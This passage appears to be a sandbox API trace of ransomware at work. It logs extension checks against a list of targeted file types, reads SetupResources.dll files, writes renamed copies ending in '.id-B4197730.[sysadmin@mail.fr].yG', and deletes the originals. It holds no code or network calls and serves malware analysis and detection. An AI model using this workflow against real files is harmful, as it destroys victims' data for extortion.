	[0041.481] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString=".xls") returned 4
	[0041.481] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString=".xlsx") returned 5
	[0041.481] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0041.481] lstrlenW (lpString=".ppt") returned 4
	[0041.481] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.481] lstrlenW (lpString=".zip") returned 4
	[0041.481] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString=".rar") returned 4
	[0041.481] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString=".bz2") returned 4
	[0041.481] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0041.481] lstrlenW (lpString=".7z") returned 3
	[0041.481] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0041.481] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.481] lstrlenW (lpString=".dbf") returned 4
	[0041.481] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.481] lstrlenW (lpString=".1cd") returned 4
	[0041.481] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0041.481] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.481] lstrlenW (lpString=".jpg") returned 4
	[0041.481] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0041.481] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.482] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.482] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.483] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=14168) returned 1
	[0041.483] CloseHandle (hObject=0x2ec) returned 1
	[0041.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80
	[0041.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.483] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.484] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0041.497] GetLastError () returned 0x0
	[0041.497] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0041.553] WriteFile (in: hFile=0x300, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0041.554] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.554] WriteFile (in: hFile=0x300, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.554] SetEndOfFile (hFile=0x300) returned 1
	[0041.554] CloseHandle (hObject=0x300) returned 1
	[0041.555] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.555] SetEndOfFile (hFile=0x2ec) returned 1
	[0041.556] CloseHandle (hObject=0x2ec) returned 1
	[0041.556] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.556] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1
	[0041.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.556] lstrlenW (lpString=".doc") returned 4
	[0041.556] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.556] lstrlenW (lpString=".docx") returned 5
	[0041.556] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.556] lstrlenW (lpString=".pdf") returned 4
	[0041.557] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".xls") returned 4
	[0041.557] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".xlsx") returned 5
	[0041.557] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.557] lstrlenW (lpString=".ppt") returned 4
	[0041.557] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.557] lstrlenW (lpString=".zip") returned 4
	[0041.557] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".rar") returned 4
	[0041.557] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".bz2") returned 4
	[0041.557] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.557] lstrlenW (lpString=".7z") returned 3
	[0041.557] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.557] lstrlenW (lpString=".dbf") returned 4
	[0041.557] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.557] lstrlenW (lpString=".1cd") returned 4
	[0041.557] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.557] lstrlenW (lpString=".jpg") returned 4
	[0041.557] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.557] lstrlenW (lpString=".doc") returned 4
	[0041.557] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".docx") returned 5
	[0041.557] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.557] lstrlenW (lpString=".pdf") returned 4
	[0041.557] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".xls") returned 4
	[0041.557] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.557] lstrlenW (lpString=".xlsx") returned 5
	[0041.558] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.558] lstrlenW (lpString=".ppt") returned 4
	[0041.558] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.558] lstrlenW (lpString=".zip") returned 4
	[0041.558] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.558] lstrlenW (lpString=".rar") returned 4
	[0041.558] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.558] lstrlenW (lpString=".bz2") returned 4
	[0041.558] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.558] lstrlenW (lpString=".7z") returned 3
	[0041.558] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.558] lstrlenW (lpString=".dbf") returned 4
	[0041.558] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.558] lstrlenW (lpString=".1cd") returned 4
	[0041.558] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0041.558] lstrlenW (lpString=".jpg") returned 4
	[0041.559] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.559] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.559] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.559] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=18776) returned 1
	[0041.559] CloseHandle (hObject=0x2ec) returned 1
	[0041.559] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80
	[0041.559] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.559] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.559] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.583] GetLastError () returned 0x0
	[0041.583] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0041.638] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0041.639] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.639] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.640] SetEndOfFile (hFile=0x2f0) returned 1
	[0041.640] CloseHandle (hObject=0x2f0) returned 1
	[0041.641] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.641] SetEndOfFile (hFile=0x2ec) returned 1
	[0041.641] CloseHandle (hObject=0x2ec) returned 1
	[0041.641] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.642] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1
	[0041.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.642] lstrlenW (lpString=".doc") returned 4
	[0041.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.642] lstrlenW (lpString=".docx") returned 5
	[0041.642] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.642] lstrlenW (lpString=".pdf") returned 4
	[0041.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.642] lstrlenW (lpString=".xls") returned 4
	[0041.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.642] lstrlenW (lpString=".xlsx") returned 5
	[0041.642] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.642] lstrlenW (lpString=".ppt") returned 4
	[0041.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.642] lstrlenW (lpString=".zip") returned 4
	[0041.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.642] lstrlenW (lpString=".rar") returned 4
	[0041.642] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.642] lstrlenW (lpString=".bz2") returned 4
	[0041.642] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.642] lstrlenW (lpString=".7z") returned 3
	[0041.642] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.642] lstrlenW (lpString=".dbf") returned 4
	[0041.642] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".1cd") returned 4
	[0041.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".jpg") returned 4
	[0041.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".doc") returned 4
	[0041.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString=".docx") returned 5
	[0041.643] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.643] lstrlenW (lpString=".pdf") returned 4
	[0041.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString=".xls") returned 4
	[0041.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString=".xlsx") returned 5
	[0041.643] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.643] lstrlenW (lpString=".ppt") returned 4
	[0041.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".zip") returned 4
	[0041.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString=".rar") returned 4
	[0041.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.643] lstrlenW (lpString=".bz2") returned 4
	[0041.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.643] lstrlenW (lpString=".7z") returned 3
	[0041.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".dbf") returned 4
	[0041.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".1cd") returned 4
	[0041.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0041.643] lstrlenW (lpString=".jpg") returned 4
	[0041.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.644] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.644] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0041.651] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=16728) returned 1
	[0041.651] CloseHandle (hObject=0x2d0) returned 1
	[0041.651] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80
	[0041.651] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.651] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0041.651] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.652] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.655] GetLastError () returned 0x0
	[0041.655] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4158, lpOverlapped=0x0) returned 1
	[0041.932] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4160, lpOverlapped=0x0) returned 1
	[0041.933] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.933] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.933] SetEndOfFile (hFile=0x2ec) returned 1
	[0041.933] CloseHandle (hObject=0x2ec) returned 1
	[0041.934] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.934] SetEndOfFile (hFile=0x2d0) returned 1
	[0041.935] CloseHandle (hObject=0x2d0) returned 1
	[0041.935] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.935] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1
	[0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.936] lstrlenW (lpString=".doc") returned 4
	[0041.936] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.936] lstrlenW (lpString=".docx") returned 5
	[0041.936] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.936] lstrlenW (lpString=".pdf") returned 4
	[0041.936] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.936] lstrlenW (lpString=".xls") returned 4
	[0041.936] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.936] lstrlenW (lpString=".xlsx") returned 5
	[0041.936] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.936] lstrlenW (lpString=".ppt") returned 4
	[0041.936] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.936] lstrlenW (lpString=".zip") returned 4
	[0041.936] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.936] lstrlenW (lpString=".rar") returned 4
	[0041.936] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.936] lstrlenW (lpString=".bz2") returned 4
	[0041.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.936] lstrlenW (lpString=".7z") returned 3
	[0041.936] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.936] lstrlenW (lpString=".dbf") returned 4
	[0041.936] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.936] lstrlenW (lpString=".1cd") returned 4
	[0041.936] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.936] lstrlenW (lpString=".jpg") returned 4
	[0041.936] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.937] lstrlenW (lpString=".doc") returned 4
	[0041.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString=".docx") returned 5
	[0041.937] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.937] lstrlenW (lpString=".pdf") returned 4
	[0041.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString=".xls") returned 4
	[0041.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString=".xlsx") returned 5
	[0041.937] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.937] lstrlenW (lpString=".ppt") returned 4
	[0041.937] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.937] lstrlenW (lpString=".zip") returned 4
	[0041.937] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString=".rar") returned 4
	[0041.937] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.937] lstrlenW (lpString=".bz2") returned 4
	[0041.937] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.937] lstrlenW (lpString=".7z") returned 3
	[0041.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.937] lstrlenW (lpString=".dbf") returned 4
	[0041.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.937] lstrlenW (lpString=".1cd") returned 4
	[0041.937] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0041.937] lstrlenW (lpString=".jpg") returned 4
	[0041.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.937] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.938] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.938] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0041.987] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=18776) returned 1
